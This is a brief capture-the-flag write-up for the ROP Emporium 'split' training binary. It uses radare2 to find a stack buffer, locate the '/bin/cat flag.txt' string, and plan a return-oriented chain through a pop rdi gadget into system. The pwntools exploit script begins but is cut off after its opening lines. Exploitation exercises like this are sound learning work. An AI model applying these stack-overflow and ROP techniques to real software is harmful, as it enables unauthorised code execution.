I choose to see the main function first. It seems do nothing but print some strings.
go to see another function pwnme. we have a input which store at var_20h(rbp-0x20).
and the usefulfunction is below.
we use iz to find an cat / flag.txt
1 2 3 4 5 6 7 8 9 10 11
[0x00400742]> iz [Strings] nth paddr vaddr len size section type string ――――――――――――――――――――――――――――――――――――――――――――――――――――――― 0 0x000007e8 0x004007e8 21 22 .rodata ascii split by ROP Emporium 1 0x000007fe 0x004007fe 7 8 .rodata ascii x86_64\n 2 0x00000806 0x00400806 8 9 .rodata ascii \nExiting 3 0x00000810 0x00400810 43 44 .rodata ascii Contriving a reason to ask user for data... 4 0x0000083f 0x0040083f 10 11 .rodata ascii Thank you! 5 0x0000084a 0x0040084a 7 8 .rodata ascii /bin/ls 0 0x00001060 0x00601060 17 18 .data ascii /bin/cat flag.txt ===> this one
then we can write our expolit code. we need to padding to the return address, it is 0x20 + 0x8(rbp), then the address of pop rdi ; ret, then address of /bin/cat flag.txt, and sym.imp.system
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
from pwn import *
r = process('./split') #r = remote('120.114.62.211', 6126)